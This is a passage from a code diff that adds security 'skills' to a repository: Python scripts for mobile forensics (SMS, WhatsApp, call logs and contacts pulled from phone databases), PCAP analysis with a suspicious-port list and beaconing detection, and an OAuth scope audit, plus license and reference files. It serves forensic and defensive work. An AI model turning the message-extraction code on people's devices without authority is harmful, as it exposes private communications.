self.extraction_dir / "data/data/com.android.providers.telephony/databases/mmssms.db" + return self._query_db(str(db_path), """ + SELECT address, body, type, + datetime(date/1000, 'unixepoch') AS msg_time, + read, seen + FROM sms ORDER BY date DESC LIMIT 5000 + """) + + def extract_sms_ios(self): + """Extract iMessage/SMS from iOS sms.db.""" + db_path = self.extraction_dir / "HomeDomain/Library/SMS/sms.db" + return self._query_db(str(db_path), """ + SELECT h.id AS phone_number, + CASE WHEN m.is_from_me = 1 THEN 'SENT' ELSE 'RECEIVED' END AS direction, + m.text, + datetime(m.date/1000000000 + 978307200, 'unixepoch') AS msg_time, + m.service + FROM message m + JOIN handle h ON m.handle_id = h.ROWID + ORDER BY m.date DESC LIMIT 5000 + """) + + def extract_call_log_android(self): + """Extract call logs from Android contacts2.db.""" + db_path = self.extraction_dir / "data/data/com.android.providers.contacts/databases/calllog.db" + return self._query_db(str(db_path), """ + SELECT number, name, + CASE type WHEN 1 THEN 'INCOMING' WHEN 2 THEN 'OUTGOING' + WHEN 3 THEN 'MISSED' ELSE 'UNKNOWN' END AS call_type, + duration, + datetime(date/1000, 'unixepoch') AS call_time + FROM calls ORDER BY date DESC LIMIT 2000 + """) + + def extract_contacts_android(self): + """Extract contacts from Android contacts database.""" + db_path = self.extraction_dir / "data/data/com.android.providers.contacts/databases/contacts2.db" + return self._query_db(str(db_path), """ + SELECT display_name, data1 AS phone_or_email, mimetype + FROM raw_contacts rc + JOIN data d ON rc._id = d.raw_contact_id + WHERE mimetype IN ( + 'vnd.android.cursor.item/phone_v2', + 'vnd.android.cursor.item/email_v2' + ) ORDER BY display_name LIMIT 5000 + """) + + def extract_whatsapp_messages(self): + """Extract WhatsApp messages from msgstore.db.""" + db_path = self.extraction_dir / "data/data/com.whatsapp/databases/msgstore.db" + return self._query_db(str(db_path), """ + SELECT key_remote_jid AS contact, + CASE WHEN key_from_me = 1 THEN 'SENT' ELSE 'RECEIVED' END AS direction, + data AS message_text, + datetime(timestamp/1000, 'unixepoch') AS msg_time, + media_mime_type, + media_size + FROM messages + WHERE data IS NOT NULL + ORDER BY timestamp DESC LIMIT 5000 + """) + + def extract_browser_history_android(self): + """Extract Chrome browser history from Android.""" + db_path = self.extraction_dir / "data/data/com.android.chrome/app_chrome/Default/History" + return self._query_db(str(db_path), """ + SELECT url, title, visit_count, + datetime(last_visit_time/1000000 - 11644473600, 'unixepoch') AS visit_time + FROM urls ORDER BY last_visit_time DESC LIMIT 2000 + """) + + def extract_wifi_history(self): + """Extract saved WiFi networks.""" + if self.platform == "android": + wifi_conf = self.extraction_dir / "data/misc/wifi/WifiConfigStore.xml" + if wifi_conf.exists(): + content = wifi_conf.read_text(errors="ignore") + import re + ssids = re.findall(r'"SSID"[^>]*>([^<]+)', content) + return [{"ssid": s} for s in ssids] + return [] + + def extract_installed_apps(self): + """List installed applications.""" + apps = [] + if self.platform == "android": + app_dir = self.extraction_dir / "data/data" + if app_dir.exists(): + for pkg in sorted(app_dir.iterdir()): + if pkg.is_dir(): + apps.append({ + "package": pkg.name, + "has_databases": (pkg / "databases").exists(), + }) + return apps + + def search_keyword(self, keyword): + """Search across extracted databases for a keyword.""" + hits = [] + for db_file in self.extraction_dir.rglob("*.db"): + try: + conn = sqlite3.connect(str(db_file)) + cursor = conn.cursor() + cursor.execute("SELECT name FROM sqlite_master WHERE type='table'") + tables = [row[0] for row in cursor.fetchall()] + for table in tables: + try: + cursor.execute(f"SELECT * FROM [{table}] LIMIT 1") + columns = [desc[0] for desc in cursor.description] + for col in columns: + cursor.execute( + f"SELECT [{col}] FROM [{table}] WHERE [{col}] LIKE ?", + [f"%{keyword}%"] + ) + matches = cursor.fetchall() + if matches: + hits.append({ + "database": str(db_file.relative_to(self.extraction_dir)), + "table": table, + "column": col, + "match_count": len(matches), + }) + except sqlite3.Error: + continue + conn.close() + except sqlite3.Error: + continue + return hits + + def generate_report(self): + """Generate comprehensive mobile forensics report.""" + report = { + "extraction_dir": str(self.extraction_dir), + "platform": self.platform, + "report_date": datetime.utcnow().isoformat(), + } + + if self.platform == "android": + report["sms"] = {"count": len(self.extract_sms_android())} + report["call_log"] = {"count": len(self.extract_call_log_android())} + report["contacts"] = {"count": len(self.extract_contacts_android())} + report["whatsapp"] = {"count": len(self.extract_whatsapp_messages())} + report["browser_history"] = {"count": len(self.extract_browser_history_android())} + elif self.platform == "ios": + report["imessage_sms"] = {"count": len(self.extract_sms_ios())} + + report["wifi_networks"] = self.extract_wifi_history() + report["installed_apps"] = {"count": len(self.extract_installed_apps())} + + report_path = self.output_dir / "mobile_forensics_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 3: + print("Usage: agent.py [android|ios]") + sys.exit(1) + + extraction_dir = sys.argv[1] + output_dir = sys.argv[2] + platform = sys.argv[3] if len(sys.argv) > 3 else "android" + + agent = MobileForensicsAgent(extraction_dir, output_dir, platform) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-network-forensics-with-wireshark/LICENSE b/skills/performing-network-forensics-with-wireshark/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-network-forensics-with-wireshark/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-network-forensics-with-wireshark/references/api-reference.md b/skills/performing-network-forensics-with-wireshark/references/api-reference.md new file mode 100644 index 00000000..d7c68d4f --- /dev/null +++ b/skills/performing-network-forensics-with-wireshark/references/api-reference.md @@ -0,0 +1,52 @@ +# API Reference: Network Forensics with Wireshark + +## pyshark API + +```python +import pyshark + +# Open capture file +cap = pyshark.FileCapture("capture.pcap") +cap = pyshark.FileCapture("capture.pcap", display_filter="http.request") + +# Access packet fields +for pkt in cap: + print(pkt.ip.src, pkt.ip.dst) + print(pkt.tcp.dstport) + print(pkt.http.request_uri) +``` + +## tshark CLI + +| Command | Description | +|---------|-------------| +| `tshark -r -q -z conv,tcp` | TCP conversation statistics | +| `tshark -r -Y "dns.qr==0" -T fields -e dns.qry.name` | Extract DNS queries | +| `tshark -r --export-objects http,` | Export HTTP objects | +| `tshark -r -q -z io,phs` | Protocol hierarchy statistics | +| `tshark -r -q -z endpoints,ip` | IP endpoint statistics | + +## Display Filters + +| Filter | Description | +|--------|-------------| +| `dns.qr==0` | DNS queries only | +| `http.request` | HTTP requests | +| `tls.handshake.extensions_server_name` | TLS SNI values | +| `tcp.flags.syn==1 && tcp.flags.ack==0` | TCP SYN packets | +| `ip.dst== && tcp.dstport==443` | Traffic to specific host | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `pyshark` | >=0.6 | Python wrapper for tshark packet analysis | +| `dpkt` | >=1.9 | Low-level PCAP parsing without tshark dependency | +| `scapy` | >=2.5 | Packet crafting and analysis | + +## References + +- pyshark: https://github.com/KimiNewt/pyshark +- Wireshark display filters: https://wiki.wireshark.org/DisplayFilters +- dpkt: https://github.com/kbandla/dpkt +- NetworkMiner: https://www.netresec.com/?page=NetworkMiner diff --git a/skills/performing-network-forensics-with-wireshark/scripts/agent.py b/skills/performing-network-forensics-with-wireshark/scripts/agent.py new file mode 100644 index 00000000..e6c36b32 --- /dev/null +++ b/skills/performing-network-forensics-with-wireshark/scripts/agent.py @@ -0,0 +1,230 @@ +#!/usr/bin/env python3 +"""Agent for performing network forensics with Wireshark/pyshark. + +Analyzes PCAP files to extract conversations, DNS queries, HTTP +objects, detect beaconing patterns, and identify C2 communications. +""" + +import pyshark +import json +import sys +from collections import defaultdict +from pathlib import Path +from datetime import datetime + + +class NetworkForensicsAgent: + """Analyzes PCAP files for forensic investigations.""" + + def __init__(self, pcap_path, output_dir): + self.pcap_path = pcap_path + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + + def get_capture_info(self): + """Get basic capture file statistics.""" + cap = pyshark.FileCapture(self.pcap_path, only_summaries=True) + packet_count = 0 + first_time = None + last_time = None + for pkt in cap: + packet_count += 1 + if first_time is None: + first_time = pkt.time + last_time = pkt.time + cap.close() + return { + "file": self.pcap_path, + "packets": packet_count, + "first_packet": str(first_time), + "last_packet": str(last_time), + } + + def extract_dns_queries(self, limit=5000): + """Extract DNS queries from the capture.""" + cap = pyshark.FileCapture(self.pcap_path, display_filter="dns.qr==0") + queries = [] + count = 0 + for pkt in cap: + if count >= limit: + break + try: + queries.append({ + "timestamp": str(pkt.sniff_time), + "src_ip": pkt.ip.src, + "query": pkt.dns.qry_name, + "type": pkt.dns.qry_type, + }) + count += 1 + except AttributeError: + continue + cap.close() + return queries + + def detect_dns_tunneling(self, min_length=30): + """Detect potential DNS tunneling by subdomain length.""" + queries = self.extract_dns_queries() + suspicious = [] + for q in queries: + domain = q.get("query", "") + subdomain = domain.split(".")[0] if "." in domain else domain + if len(subdomain) >= min_length: + suspicious.append({ + "query": domain, + "subdomain_length": len(subdomain), + "src_ip": q["src_ip"], + "timestamp": q["timestamp"], + }) + return suspicious + + def extract_http_requests(self, limit=5000): + """Extract HTTP requests with method, host, URI, and user-agent.""" + cap = pyshark.FileCapture(self.pcap_path, display_filter="http.request") + requests_list = [] + count = 0 + for pkt in cap: + if count >= limit: + break + try: + req = { + "timestamp": str(pkt.sniff_time), + "src_ip": pkt.ip.src, + "dst_ip": pkt.ip.dst, + "method": pkt.http.request_method, + "host": getattr(pkt.http, "host", ""), + "uri": getattr(pkt.http, "request_uri", ""), + "user_agent": getattr(pkt.http, "user_agent", ""), + } + requests_list.append(req) + count += 1 + except AttributeError: + continue + cap.close() + return requests_list + + def extract_tls_sni(self, limit=5000): + """Extract TLS Server Name Indication values.""" + cap = pyshark.FileCapture( + self.pcap_path, + display_filter="tls.handshake.extensions_server_name" + ) + sni_list = [] + count = 0 + for pkt in cap: + if count >= limit: + break + try: + sni_list.append({ + "timestamp": str(pkt.sniff_time), + "src_ip": pkt.ip.src, + "dst_ip": pkt.ip.dst, + "sni": pkt.tls.handshake_extensions_server_name, + }) + count += 1 + except AttributeError: + continue + cap.close() + return sni_list + + def get_top_talkers(self, limit=20): + """Identify top source and destination IPs by packet count.""" + cap = pyshark.FileCapture(self.pcap_path, only_summaries=True) + ip_counts = defaultdict(int) + for pkt in cap: + try: + ip_counts[pkt.source] += 1 + ip_counts[pkt.destination] += 1 + except AttributeError: + continue + cap.close() + sorted_ips = sorted(ip_counts.items(), key=lambda x: x[1], reverse=True) + return [{"ip": ip, "packets": count} for ip, count in sorted_ips[:limit]] + + def detect_beaconing(self, target_ip, tolerance=5): + """Detect beaconing patterns to a specific IP.""" + cap = pyshark.FileCapture( + self.pcap_path, + display_filter=f"ip.dst=={target_ip} and tcp.flags.syn==1" + ) + timestamps = [] + for pkt in cap: + try: + timestamps.append(float(pkt.sniff_timestamp)) + except (AttributeError, ValueError): + continue + cap.close() + + if len(timestamps) < 3: + return {"beaconing": False, "connections": len(timestamps)} + + intervals = [timestamps[i+1] - timestamps[i] for i in range(len(timestamps)-1)] + avg_interval = sum(intervals) / len(intervals) + consistent = sum(1 for i in intervals if abs(i - avg_interval) < tolerance) + + return { + "target_ip": target_ip, + "connections": len(timestamps), + "avg_interval_sec": round(avg_interval, 1), + "consistent_intervals": consistent, + "total_intervals": len(intervals), + "beaconing": consistent / len(intervals) > 0.7 if intervals else False, + } + + def find_suspicious_ports(self): + """Find connections to commonly malicious ports.""" + suspicious_ports = {"4444", "8080", "1337", "6667", "9001", "31337"} + cap = pyshark.FileCapture(self.pcap_path, display_filter="tcp") + findings = defaultdict(lambda: {"count": 0, "sources": set()}) + + for pkt in cap: + try: + dport = pkt.tcp.dstport + if dport in suspicious_ports: + findings[dport]["count"] += 1 + findings[dport]["sources"].add(pkt.ip.src) + except AttributeError: + continue + cap.close() + + return { + port: {"count": data["count"], "sources": list(data["sources"])} + for port, data in findings.items() + } + + def generate_report(self, target_ip=None): + """Generate comprehensive network forensics report.""" + report = { + "capture_info": self.get_capture_info(), + "top_talkers": self.get_top_talkers(), + "dns_query_count": len(self.extract_dns_queries()), + "dns_tunneling_suspects": self.detect_dns_tunneling(), + "http_request_count": len(self.extract_http_requests()), + "tls_sni_count": len(self.extract_tls_sni()), + "suspicious_ports": self.find_suspicious_ports(), + } + + if target_ip: + report["beaconing_analysis"] = self.detect_beaconing(target_ip) + + report_path = self.output_dir / "network_forensics_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2, default=list) + print(json.dumps(report, indent=2, default=list)) + return report + + +def main(): + if len(sys.argv) < 3: + print("Usage: agent.py [target_ip]") + sys.exit(1) + + pcap_path = sys.argv[1] + output_dir = sys.argv[2] + target_ip = sys.argv[3] if len(sys.argv) > 3 else None + + agent = NetworkForensicsAgent(pcap_path, output_dir) + agent.generate_report(target_ip) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-network-packet-capture-analysis/LICENSE b/skills/performing-network-packet-capture-analysis/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-network-packet-capture-analysis/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-network-traffic-analysis-with-zeek/LICENSE b/skills/performing-network-traffic-analysis-with-zeek/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-network-traffic-analysis-with-zeek/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-nist-csf-maturity-assessment/LICENSE b/skills/performing-nist-csf-maturity-assessment/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-nist-csf-maturity-assessment/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-oauth-scope-minimization-review/LICENSE b/skills/performing-oauth-scope-minimization-review/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-oauth-scope-minimization-review/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-oauth-scope-minimization-review/references/api-reference.md b/skills/performing-oauth-scope-minimization-review/references/api-reference.md new file mode 100644 index 00000000..508751b0 --- /dev/null +++ b/skills/performing-oauth-scope-minimization-review/references/api-reference.md @@ -0,0 +1,51 @@ +# API Reference: OAuth Scope Minimization Review + +## Microsoft Graph API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/v1.0/servicePrincipals` | GET | List enterprise applications | +| `/v1.0/oauth2PermissionGrants` | GET | List delegated permission grants | +| `/v1.0/oauth2PermissionGrants/{id}` | PATCH | Update (reduce) grant scopes | +| `/v1.0/oauth2PermissionGrants/{id}` | DELETE | Revoke entire grant | +| `/v1.0/servicePrincipals/{id}/appRoleAssignments` | GET | Application permission assignments | +| `/v1.0/auditLogs/signIns` | GET | Sign-in activity for usage analysis | + +## Authentication + +``` +POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token +grant_type=client_credentials +client_id= +client_secret= +scope=https://graph.microsoft.com/.default +``` + +## Required Permissions + +| Permission | Type | Purpose | +|------------|------|---------| +| `Application.Read.All` | Application | Read service principals | +| `OAuth2PermissionGrant.ReadWrite.All` | Application | Read/modify grants | +| `AuditLog.Read.All` | Application | Read sign-in usage data | + +## Scope Risk Classification + +| Risk Level | Review Frequency | Examples | +|------------|-----------------|----------| +| Critical | Monthly | Directory.ReadWrite.All, Mail.ReadWrite | +| High | Quarterly | Mail.Read, Files.Read.All, User.Read.All | +| Medium | Semi-annually | Calendars.Read, Files.ReadWrite | +| Low | Annually | User.Read, openid, profile, email | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | Microsoft Graph API HTTP requests | + +## References + +- Microsoft Graph permissions: https://learn.microsoft.com/en-us/graph/permissions-reference +- OAuth2PermissionGrant resource: https://learn.microsoft.com/en-us/graph/api/resources/oauth2permissiongrant +- Entra admin consent: https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-admin-consent-workflow diff --git a/skills/performing-oauth-scope-minimization-review/scripts/agent.py b/skills/performing-oauth-scope-minimization-review/scripts/agent.py new file mode 100644 index 00000000..3d57ac7f --- /dev/null +++ b/skills/performing-oauth-scope-minimization-review/scripts/agent.py @@ -0,0 +1,203 @@ +#!/usr/bin/env python3 +"""Agent for performing OAuth scope minimization review. + +Audits OAuth 2.0 permission grants in Microsoft Entra ID (Azure AD) +to identify over-permissioned apps, stale grants, and excessive scopes. +""" + +import requests +import json +import sys +from collections import defaultdict +from datetime import datetime, timedelta + + +SCOPE_RISK = { + "critical": [ + "Directory.ReadWrite.All", "Application.ReadWrite.All", + "Mail.ReadWrite", "Mail.Send", "Files.ReadWrite.All", + "Sites.FullControl.All", "User.ReadWrite.All", + "RoleManagement.ReadWrite.Directory", + ], + "high": [ + "Mail.Read", "Files.Read.All", "User.Read.All", + "Group.Read.All", "Directory.Read.All", "AuditLog.Read.All", + "Calendars.ReadWrite", "Contacts.ReadWrite", + ], + "medium": [ + "Calendars.Read", "Files.ReadWrite", "Tasks.ReadWrite", + "Chat.ReadWrite", "ChannelMessage.Send", + ], + "low": [ + "User.Read", "openid", "profile", "email", "offline_access", + "People.Read", "User.ReadBasic.All", + ], +} + + +class OAuthScopeAuditor: + """Audits OAuth permission grants via Microsoft Graph API.""" + + def __init__(self, tenant_id, client_id, client_secret): + self.tenant_id = tenant_id + self.base_url = "https://graph.microsoft.com/v1.0" + self.token = self._get_token(client_id, client_secret) + self.headers = {"Authorization": f"Bearer {self.token}"} + + def _get_token(self, client_id, client_secret): + url = f"https://login.microsoftonline.com/{self.tenant_id}/oauth2/v2.0/token" + resp = requests.post(url, data={ + "grant_type": "client_credentials", + "client_id": client_id, + "client_secret": client_secret, + "scope": "https://graph.microsoft.com/.default", + }) + resp.raise_for_status() + return resp.json()["access_token"] + + def _paginated_get(self, url): + results = [] + while url: + resp = requests.get(url, headers=self.headers) + resp.raise_for_status() + data = resp.json() + results.extend(data.get("value", [])) + url = data.get("@odata.nextLink") + return results + + def get_service_principals(self): + """Get all enterprise applications (service principals).""" + return self._paginated_get( + f"{self.base_url}/servicePrincipals?$top=999" + "&$select=id,appId,displayName,appOwnerOrganizationId,accountEnabled,createdDateTime" + ) + + def get_oauth_grants(self): + """Get all delegated permission grants.""" + return self._paginated_get( + f"{self.base_url}/oauth2PermissionGrants?$top=999" + ) + + def classify_scope(self, scope): + """Classify a scope by risk level.""" + for level, scopes in SCOPE_RISK.items(): + if scope in scopes: + return level + return "high" + + def build_permission_inventory(self): + """Build complete OAuth permission inventory.""" + sps = self.get_service_principals() + grants = self.get_oauth_grants() + sp_map = {sp["id"]: sp for sp in sps} + + inventory = [] + for grant in grants: + sp = sp_map.get(grant.get("clientId"), {}) + scopes = grant.get("scope", "").split() + for scope in scopes: + if not scope: + continue + inventory.append({ + "app_name": sp.get("displayName", "Unknown"), + "app_id": grant.get("clientId"), + "scope": scope, + "risk_level": self.classify_scope(scope), + "consent_type": grant.get("consentType"), + "is_third_party": sp.get("appOwnerOrganizationId") != self.tenant_id, + "is_enabled": sp.get("accountEnabled", True), + }) + return inventory + + def find_over_permissioned(self, inventory, approved_scopes=None): + """Find apps with excessive or unapproved scopes.""" + findings = [] + app_perms = defaultdict(list) + for perm in inventory: + app_perms[perm["app_name"]].append(perm) + + for app_name, perms in app_perms.items(): + critical = [p for p in perms if p["risk_level"] == "critical"] + high = [p for p in perms if p["risk_level"] == "high"] + + if critical: + findings.append({ + "app_name": app_name, + "severity": "CRITICAL", + "finding": f"{len(critical)} critical scopes granted", + "critical_scopes": [p["scope"] for p in critical], + "is_third_party": perms[0].get("is_third_party", False), + }) + elif len(high) > 3: + findings.append({ + "app_name": app_name, + "severity": "HIGH", + "finding": f"{len(high)} high-risk scopes granted", + "high_scopes": [p["scope"] for p in high], + }) + return findings + + def find_broad_permissions(self, inventory): + """Detect overly broad permissions that could be narrowed.""" + downgrades = [ + ("Mail.ReadWrite", "Mail.Read"), + ("Files.ReadWrite.All", "Files.Read.All"), + ("Directory.ReadWrite.All", "Directory.Read.All"), + ("User.ReadWrite.All", "User.Read.All"), + ] + findings = [] + app_scopes = defaultdict(set) + for perm in inventory: + app_scopes[perm["app_name"]].add(perm["scope"]) + + for app_name, scopes in app_scopes.items(): + for broad, narrow in downgrades: + if broad in scopes: + findings.append({ + "app_name": app_name, + "current_scope": broad, + "recommended_scope": narrow, + "recommendation": f"Downgrade from {broad} to {narrow}", + }) + return findings + + def generate_report(self): + """Generate comprehensive OAuth scope review report.""" + inventory = self.build_permission_inventory() + + risk_counts = defaultdict(int) + for perm in inventory: + risk_counts[perm["risk_level"]] += 1 + + third_party = [p for p in inventory if p.get("is_third_party")] + + report = { + "tenant_id": self.tenant_id, + "report_date": datetime.utcnow().isoformat(), + "total_permissions": len(inventory), + "risk_breakdown": dict(risk_counts), + "third_party_permissions": len(third_party), + "over_permissioned": self.find_over_permissioned(inventory), + "broad_permissions": self.find_broad_permissions(inventory), + "unique_apps": len(set(p["app_name"] for p in inventory)), + } + + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 4: + print("Usage: agent.py ") + sys.exit(1) + + tenant_id = sys.argv[1] + client_id = sys.argv[2] + client_secret = sys.argv[3] + + auditor = OAuthScopeAuditor(tenant_id, client_id, client_secret) + auditor.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-oil-gas-cybersecurity-assessment/LICENSE b/skills/performing-oil-gas-cybersecurity-assessment/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-oil-gas-cybersecurity-assessment/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-open-source-intelligence-gathering/LICENSE b/skills/performing-open-source-intelligence-gathering/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-open-source-intelligence-gathering/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-ot-network-security-assessment/LICENSE b/skills/performing-ot-network-security-assessment/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-ot-network-security-assessment/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, 